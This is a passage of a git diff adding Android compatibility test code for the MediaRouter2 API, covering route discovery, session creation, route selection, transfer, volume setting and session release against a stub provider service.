+                        .addSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                        .addTransferableRoute(ROUTE_ID5_TO_TRANSFER_TO)
+                        .build();
+                mService.notifySessionCreated(requestId, info);
+                onCreateSessionLatch.countDown();
+            }
+
+            @Override
+            public void onSelectRoute(long requestId, String sessionId, String routeId) {
+                assertEquals(SESSION_ID_1, sessionId);
+                assertEquals(ROUTE_ID4_TO_SELECT_AND_DESELECT, routeId);
+
+                RoutingSessionInfo oldInfo = mService.getSessionInfo(SESSION_ID_1);
+                RoutingSessionInfo newInfo = new RoutingSessionInfo.Builder(oldInfo)
+                        .addSelectedRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                        .removeSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                        .addDeselectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                        .build();
+                mService.notifySessionUpdated(newInfo);
+                onSelectRouteLatch.countDown();
+            }
+
+            @Override
+            public void onDeselectRoute(long requestId, String sessionId, String routeId) {
+                assertEquals(SESSION_ID_1, sessionId);
+                assertEquals(ROUTE_ID4_TO_SELECT_AND_DESELECT, routeId);
+
+                RoutingSessionInfo oldInfo = mService.getSessionInfo(SESSION_ID_1);
+                RoutingSessionInfo newInfo = new RoutingSessionInfo.Builder(oldInfo)
+                        .removeSelectedRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                        .addSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                        .removeDeselectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                        .build();
+                mService.notifySessionUpdated(newInfo);
+                onDeselectRouteLatch.countDown();
+            }
+
+            @Override
+            public void onTransferToRoute(long requestId, String sessionId, String routeId) {
+                assertEquals(SESSION_ID_1, sessionId);
+                assertEquals(ROUTE_ID5_TO_TRANSFER_TO, routeId);
+
+                RoutingSessionInfo oldInfo = mService.getSessionInfo(SESSION_ID_1);
+                RoutingSessionInfo newInfo = new RoutingSessionInfo.Builder(oldInfo)
+                        .clearDeselectableRoutes()
+                        .clearSelectedRoutes()
+                        .clearDeselectableRoutes()
+                        .addSelectedRoute(ROUTE_ID5_TO_TRANSFER_TO)
+                        .build();
+                mService.notifySessionUpdated(newInfo);
+                onTransferToRouteLatch.countDown();
+            }
+
+            @Override
+            public void onReleaseSession(long requestId, String sessionId) {
+                assertEquals(SESSION_ID_1, sessionId);
+                mService.notifySessionReleased(sessionId);
+                onReleaseSessionLatch.countDown();
+            }
+        });
+
+        CountDownLatch onTransferredLatch = new CountDownLatch(1);
+        CountDownLatch onControllerUpdatedForSelectLatch = new CountDownLatch(1);
+        CountDownLatch onControllerUpdatedForDeselectLatch = new CountDownLatch(1);
+        CountDownLatch onControllerUpdatedForTransferLatch = new CountDownLatch(1);
+        List<RoutingController> controllers = new ArrayList<>();
+
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                if (SESSION_ID_1.equals(newController.getOriginalId())) {
+                    assertEquals(mRouter2.getSystemController(), oldController);
+                    controllers.add(newController);
+                    onTransferredLatch.countDown();
+                }
+            }
+        };
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(RoutingController controller) {
+                List<MediaRoute2Info> selectedRoutes = controller.getSelectedRoutes();
+                if (onControllerUpdatedForSelectLatch.getCount() > 0) {
+                    if (selectedRoutes.size() == 2
+                            && ROUTE_ID4_TO_SELECT_AND_DESELECT.equals(
+                            selectedRoutes.get(1).getOriginalId())) {
+                        onControllerUpdatedForSelectLatch.countDown();
+                    }
+                } else if (onControllerUpdatedForDeselectLatch.getCount() > 0) {
+                    if (selectedRoutes.size() == 1
+                            && ROUTE_ID1.equals(selectedRoutes.get(0).getOriginalId())) {
+                        onControllerUpdatedForDeselectLatch.countDown();
+                    }
+                } else if (onControllerUpdatedForTransferLatch.getCount() > 0) {
+                    if (selectedRoutes.size() == 1
+                            && ROUTE_ID5_TO_TRANSFER_TO.equals(
+                            selectedRoutes.get(0).getOriginalId())) {
+                        onControllerUpdatedForTransferLatch.countDown();
+                    }
+                }
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the mService.
+        RouteCallback dummyCallback = new RouteCallback() {};
+        try {
+            mRouter2.registerRouteCallback(mExecutor, dummyCallback,
+                    new RouteDiscoveryPreference.Builder(new ArrayList<>(), true).build());
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
+
+            mRouter2.transferTo(routeToCreateSession);
+            assertTrue(onCreateSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(onTransferredLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertFalse(controllers.isEmpty());
+
+            RoutingController controller = controllers.get(0);
+
+            controller.selectRoute(routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+            assertTrue(onSelectRouteLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(onControllerUpdatedForSelectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            controller.deselectRoute(routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT));
+            assertTrue(onDeselectRouteLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(onControllerUpdatedForDeselectLatch.await(
+                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            mRouter2.transferTo(routes.get(ROUTE_ID5_TO_TRANSFER_TO));
+            assertTrue(onTransferToRouteLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(onControllerUpdatedForTransferLatch.await(
+                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            controller.release();
+            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mRouter2.unregisterRouteCallback(dummyCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+            mRouter2.unregisterControllerCallback(controllerCallback);
+            mRouter2.setOnGetControllerHintsListener(null);
+            releaseControllers(mRouter2.getControllers());
+        }
+    }
+
+    @Test
+    public void testNotifySessionReleased() throws Exception {
+        mService.initializeRoutes();
+        mService.publishRoutes();
+
+        List<String> featuresSample = Collections.singletonList(FEATURE_SAMPLE);
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(featuresSample);
+        MediaRoute2Info routeToCreateSession = routes.get(ROUTE_ID1);
+        assertNotNull(routeToCreateSession);
+
+        CountDownLatch onCreateSessionLatch = new CountDownLatch(1);
+        setProxy(new Proxy() {
+            @Override
+            public void onCreateSession(long requestId, String packageName, String routeId,
+                    Bundle sessionHints) {
+                assertEquals(mContext.getPackageName(), packageName);
+                assertEquals(ROUTE_ID1, routeId);
+                assertNull(sessionHints);
+
+                RoutingSessionInfo info = new RoutingSessionInfo.Builder(
+                        SESSION_ID_1, mContext.getPackageName())
+                        .addSelectedRoute(ROUTE_ID1)
+                        .addSelectableRoute(ROUTE_ID4_TO_SELECT_AND_DESELECT)
+                        .addTransferableRoute(ROUTE_ID5_TO_TRANSFER_TO)
+                        .build();
+                mService.notifySessionCreated(requestId, info);
+                onCreateSessionLatch.countDown();
+            }
+        });
+
+
+        CountDownLatch onTransferredLatch = new CountDownLatch(1);
+        CountDownLatch onStoppedLatch = new CountDownLatch(1);
+        List<RoutingController> controllers = new ArrayList<>();
+
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                if (SESSION_ID_1.equals(newController.getOriginalId())) {
+                    assertEquals(mRouter2.getSystemController(), oldController);
+                    controllers.add(newController);
+                    onTransferredLatch.countDown();
+                }
+            }
+            @Override
+            public void onStop(RoutingController controller){
+                if (SESSION_ID_1.equals(controller.getOriginalId())) {
+                    assertTrue(controller.isReleased());
+                    onStoppedLatch.countDown();
+                }
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the mService.
+        RouteCallback dummyCallback = new RouteCallback() {};
+        try {
+            mRouter2.registerRouteCallback(mExecutor, dummyCallback,
+                    new RouteDiscoveryPreference.Builder(new ArrayList<>(), true).build());
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+
+            mRouter2.transferTo(routeToCreateSession);
+            assertTrue(onCreateSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertTrue(onTransferredLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertFalse(controllers.isEmpty());
+
+            mService.notifySessionReleased(SESSION_ID_1);
+            assertTrue(onStoppedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mRouter2.unregisterRouteCallback(dummyCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+            releaseControllers(mRouter2.getControllers());
+        }
+    }
+
+
+    @Test
+    public void testOnDiscoveryPreferenceChanged() throws Exception {
+        CountDownLatch latch = new CountDownLatch(1);
+        CountDownLatch latch2 = new CountDownLatch(1);
+
+        RouteCallback routeCallback = new RouteCallback() {};
+        RouteCallback routeCallback2 = new RouteCallback() {};
+
+        List<String> featuresSample = Collections.singletonList(FEATURE_SAMPLE);
+        List<String> featuresSpecial = Collections.singletonList(FEATURE_SPECIAL);
+
+        setProxy(new Proxy() {
+            @Override
+            public void onDiscoveryPreferenceChanged(RouteDiscoveryPreference preference) {
+                List<String> features = preference.getPreferredFeatures();
+                if (features.contains(FEATURE_SAMPLE) && features.contains(FEATURE_SPECIAL)
+                        && preference.shouldPerformActiveScan()) {
+                    latch.countDown();
+                }
+                if (latch.getCount() == 0 && !features.contains(FEATURE_SAMPLE)
+                    && features.contains(FEATURE_SPECIAL)) {
+                    latch2.countDown();
+                }
+            }
+        });
+
+        mRouter2.registerRouteCallback(mExecutor, routeCallback,
+                new RouteDiscoveryPreference.Builder(featuresSample, true).build());
+        mRouter2.registerRouteCallback(mExecutor, routeCallback2,
+                new RouteDiscoveryPreference.Builder(featuresSpecial, true).build());
+        try {
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            mRouter2.unregisterRouteCallback(routeCallback);
+            assertTrue(latch2.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback2);
+        }
+    }
+
+    void setProxy(StubMediaRoute2ProviderService.Proxy proxy) {
+        StubMediaRoute2ProviderService service = mService;
+        if (service != null) {
+            service.setProxy(proxy);
+        }
+    }
+
+    Map<String, MediaRoute2Info> waitAndGetRoutes(List<String> features)
+            throws Exception {
+        CountDownLatch latch = new CountDownLatch(1);
+
+        RouteCallback routeCallback = new RouteCallback() {
+            @Override
+            public void onRoutesAdded(List<MediaRoute2Info> routes) {
+                for (MediaRoute2Info route : routes) {
+                    if (!route.isSystemRoute()) {
+                        latch.countDown();
+                    }
+                }
+            }
+        };
+
+        mRouter2.registerRouteCallback(mExecutor, routeCallback,
+                new RouteDiscoveryPreference.Builder(features, true).build());
+        try {
+            latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            return createRouteMap(mRouter2.getRoutes());
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback);
+        }
+    }
+
+    // Helper for getting routes easily. Uses original ID as a key
+    static Map<String, MediaRoute2Info> createRouteMap(List<MediaRoute2Info> routes) {
+        Map<String, MediaRoute2Info> routeMap = new HashMap<>();
+        for (MediaRoute2Info route : routes) {
+            routeMap.put(route.getOriginalId(), route);
+        }
+        return routeMap;
+    }
+
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2Test.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2Test.java
new file mode 100644
index 0000000..05cedf3
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaRouter2Test.java
@@ -0,0 +1,1138 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.content.Context.AUDIO_SERVICE;
+import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
+import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.FEATURES_ALL;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.FEATURES_SPECIAL;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID1;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID2;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID3_SESSION_CREATION_FAILED;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID4_TO_SELECT_AND_DESELECT;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID5_TO_TRANSFER_TO;
+import static android.media.misc.cts.StubMediaRoute2ProviderService.ROUTE_ID_SPECIAL_FEATURE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.Manifest;
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.AudioManager;
+import android.media.MediaRoute2Info;
+import android.media.MediaRouter2;
+import android.media.MediaRouter2.ControllerCallback;
+import android.media.MediaRouter2.OnGetControllerHintsListener;
+import android.media.MediaRouter2.RouteCallback;
+import android.media.MediaRouter2.RoutingController;
+import android.media.MediaRouter2.TransferCallback;
+import android.media.RouteDiscoveryPreference;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.LargeTest;
+import android.text.TextUtils;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
+@LargeTest
+@NonMediaMainlineTest
+public class MediaRouter2Test {
+    private static final String TAG = "MR2Test";
+    Context mContext;
+    private MediaRouter2 mRouter2;
+    private Executor mExecutor;
+    private AudioManager mAudioManager;
+    private RouteCallback mRouterDummyCallback = new RouteCallback(){};
+    private StubMediaRoute2ProviderService mService;
+
+    private static final int TIMEOUT_MS = 5000;
+    private static final int WAIT_MS = 2000;
+
+    private static final String TEST_KEY = "test_key";
+    private static final String TEST_VALUE = "test_value";
+    private static final RouteDiscoveryPreference EMPTY_DISCOVERY_PREFERENCE =
+            new RouteDiscoveryPreference.Builder(Collections.emptyList(), false).build();
+    private static final RouteDiscoveryPreference LIVE_AUDIO_DISCOVERY_PREFERENCE =
+            new RouteDiscoveryPreference.Builder(
+                    Collections.singletonList(FEATURE_LIVE_AUDIO), false).build();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mRouter2 = MediaRouter2.getInstance(mContext);
+        mExecutor = Executors.newSingleThreadExecutor();
+        mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
+
+        MediaRouter2TestActivity.startActivity(mContext);
+
+        // In order to make the system bind to the test service,
+        // set a non-empty discovery preference while app is in foreground.
+        List<String> features = new ArrayList<>();
+        features.add("A test feature");
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, false).build();
+        mRouter2.registerRouteCallback(mExecutor, mRouterDummyCallback, preference);
+
+        new PollingCheck(TIMEOUT_MS) {
+            @Override
+            protected boolean check() {
+                StubMediaRoute2ProviderService service =
+                        StubMediaRoute2ProviderService.getInstance();
+                if (service != null) {
+                    mService = service;
+                    return true;
+                }
+                return false;
+            }
+        }.run();
+        mService.initializeRoutes();
+        mService.publishRoutes();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mRouter2.unregisterRouteCallback(mRouterDummyCallback);
+        MediaRouter2TestActivity.finishActivity();
+        if (mService != null) {
+            mService.clear();
+            mService = null;
+        }
+    }
+
+    @Test
+    public void testGetRoutesAfterCreation() {
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
+        try {
+            List<MediaRoute2Info> initialRoutes = mRouter2.getRoutes();
+            assertFalse(initialRoutes.isEmpty());
+            for (MediaRoute2Info route : initialRoutes) {
+                assertTrue(route.getFeatures().contains(FEATURE_LIVE_AUDIO));
+            }
+        } finally {
+            mRouter2.unregisterRouteCallback(routeCallback);
+        }
+    }
+
+    /**
+     * Tests if we get proper routes for application that has special route type.
+     */
+    @Test
+    public void testGetRoutes() throws Exception {
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURES_SPECIAL);
+
+        int remoteRouteCount = 0;
+        for (MediaRoute2Info route : routes.values()) {
+            if (!route.isSystemRoute()) {
+                remoteRouteCount++;
+            }
+        }
+
+        assertEquals(1, remoteRouteCount);
+        assertNotNull(routes.get(ROUTE_ID_SPECIAL_FEATURE));
+    }
+
+    @Test
+    public void testRegisterTransferCallbackWithInvalidArguments() {
+        Executor executor = mExecutor;
+        TransferCallback callback = new TransferCallback() {};
+
+        // Tests null executor
+        assertThrows(NullPointerException.class,
+                () -> mRouter2.registerTransferCallback(null, callback));
+
+        // Tests null callback
+        assertThrows(NullPointerException.class,
+                () -> mRouter2.registerTransferCallback(executor, null));
+    }
+
+    @Test
+    public void testUnregisterTransferCallbackWithNullCallback() {
+        // Tests null callback
+        assertThrows(NullPointerException.class,
+                () -> mRouter2.unregisterTransferCallback(null));
+    }
+
+    @Test
+    public void testTransferToSuccess() throws Exception {
+        final List<String> sampleRouteFeature = new ArrayList<>();
+        sampleRouteFeature.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteFeature);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback controllerCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertEquals(mRouter2.getSystemController(), oldController);
+                assertTrue(createRouteMap(newController.getSelectedRoutes()).containsKey(
+                        ROUTE_ID1));
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, controllerCallback);
+            mRouter2.transferTo(route);
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // onSessionCreationFailed should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterTransferCallback(controllerCallback);
+        }
+    }
+
+    @Test
+    public void testTransferToFailure() throws Exception {
+        final List<String> sampleRouteType = new ArrayList<>();
+        sampleRouteType.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
+        MediaRoute2Info route = routes.get(ROUTE_ID3_SESSION_CREATION_FAILED);
+        assertNotNull(route);
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                assertEquals(route, requestedRoute);
+                failureLatch.countDown();
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.transferTo(route);
+            assertTrue(failureLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // onTransfer should not be called.
+            assertFalse(successLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testTransferToTwice() throws Exception {
+        final List<String> sampleRouteType = new ArrayList<>();
+        sampleRouteType.add(FEATURE_SAMPLE);
+
+        final CountDownLatch successLatch1 = new CountDownLatch(1);
+        final CountDownLatch successLatch2 = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final CountDownLatch stopLatch = new CountDownLatch(1);
+        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
+
+        final List<RoutingController> createdControllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                createdControllers.add(newController);
+                if (successLatch1.getCount() > 0) {
+                    successLatch1.countDown();
+                } else {
+                    successLatch2.countDown();
+                }
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+
+            @Override
+            public void onStop(RoutingController controller) {
+                stopLatch.countDown();
+            }
+        };
+
+        StubMediaRoute2ProviderService service = mService;
+        if (service != null) {
+            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
+                @Override
+                public void onReleaseSession(long requestId, String sessionId) {
+                    onReleaseSessionLatch.countDown();
+                }
+            });
+        }
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteType);
+        MediaRoute2Info route1 = routes.get(ROUTE_ID1);
+        MediaRoute2Info route2 = routes.get(ROUTE_ID2);
+        assertNotNull(route1);
+        assertNotNull(route2);
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.transferTo(route1);
+            assertTrue(successLatch1.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            mRouter2.transferTo(route2);
+            assertTrue(successLatch2.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // onTransferFailure/onStop should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+            assertFalse(stopLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+
+            // Created controllers should have proper info
+            assertEquals(2, createdControllers.size());
+            RoutingController controller1 = createdControllers.get(0);
+            RoutingController controller2 = createdControllers.get(1);
+
+            assertNotEquals(controller1.getId(), controller2.getId());
+            assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
+                    ROUTE_ID1));
+            assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
+                    ROUTE_ID2));
+
+            // Transferred controllers shouldn't be obtainable.
+            assertFalse(mRouter2.getControllers().contains(controller1));
+            assertTrue(mRouter2.getControllers().contains(controller2));
+
+            // Should be able to release transferred controllers.
+            controller1.release();
+            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(createdControllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testSetOnGetControllerHintsListener() throws Exception {
+        final List<String> sampleRouteFeature = new ArrayList<>();
+        sampleRouteFeature.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteFeature);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        final Bundle controllerHints = new Bundle();
+        controllerHints.putString(TEST_KEY, TEST_VALUE);
+        final OnGetControllerHintsListener listener = route1 -> controllerHints;
+
+        final CountDownLatch successLatch = new CountDownLatch(1);
+        final CountDownLatch failureLatch = new CountDownLatch(1);
+        final List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                assertTrue(createRouteMap(newController.getSelectedRoutes())
+                        .containsKey(ROUTE_ID1));
+
+                // The StubMediaRoute2ProviderService is supposed to set control hints
+                // with the given controllerHints.
+                Bundle controlHints = newController.getControlHints();
+                assertNotNull(controlHints);
+                assertTrue(controlHints.containsKey(TEST_KEY));
+                assertEquals(TEST_VALUE, controlHints.getString(TEST_KEY));
+
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+
+            @Override
+            public void onTransferFailure(MediaRoute2Info requestedRoute) {
+                failureLatch.countDown();
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+
+        try {
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+
+            // The StubMediaRoute2ProviderService supposed to set control hints
+            // with the given creationSessionHints.
+            mRouter2.setOnGetControllerHintsListener(listener);
+            mRouter2.transferTo(route);
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+            // onSessionCreationFailed should not be called.
+            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterTransferCallback(transferCallback);
+        }
+    }
+
+    @Test
+    public void testSetSessionVolume() throws Exception {
+        List<String> sampleRouteFeature = new ArrayList<>();
+        sampleRouteFeature.add(FEATURE_SAMPLE);
+
+        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(sampleRouteFeature);
+        MediaRoute2Info route = routes.get(ROUTE_ID1);
+        assertNotNull(route);
+
+        CountDownLatch successLatch = new CountDownLatch(1);
+        CountDownLatch volumeChangedLatch = new CountDownLatch(1);
+
+        List<RoutingController> controllers = new ArrayList<>();
+
+        // Create session with this route
+        TransferCallback transferCallback = new TransferCallback() {
+            @Override
+            public void onTransfer(RoutingController oldController,
+                    RoutingController newController) {
+                controllers.add(newController);
+                successLatch.countDown();
+            }
+        };
+
+        // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
+        RouteCallback routeCallback = new RouteCallback() {};
+
+        try {
+            mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+            mRouter2.registerTransferCallback(mExecutor, transferCallback);
+            mRouter2.transferTo(route);
+
+            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mRouter2.unregisterTransferCallback(transferCallback);
+            mRouter2.unregisterRouteCallback(routeCallback);
+        }
+
+        assertEquals(1, controllers.size());
+        // test requestSetSessionVolume
+
+        RoutingController targetController = controllers.get(0);
+        assertEquals(PLAYBACK_VOLUME_VARIABLE, targetController.getVolumeHandling());
+        int currentVolume = targetController.getVolume();
+        int maxVolume = targetController.getVolumeMax();
+        int targetVolume = (currentVolume == maxVolume) ? currentVolume - 1 : (currentVolume + 1);
+
+        ControllerCallback controllerCallback = new ControllerCallback() {
+            @Override
+            public void onControllerUpdated(MediaRouter2.RoutingController controller) {
+                if (!TextUtils.equals(targetController.getId(), controller.getId())) {
+                    return;
+                }
+                if (controller.getVolume() == targetVolume) {
+                    volumeChangedLatch.countDown();
+                }
+            }
+        };
+
+        try {
+            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
+            mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
+            targetController.setVolume(targetVolume);
+            assertTrue(volumeChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            releaseControllers(controllers);
+            mRouter2.unregisterRouteCallback(routeCallback);
+            mRouter2.unregisterControllerCallback(controllerCallback);
+        }
+    }
+
+    @Test
+    public void testTransferCallbackIsNotCalledAfterUnregistered() throws Exception {
+        final List<String> sampleRouteType = new ArrayList<>();
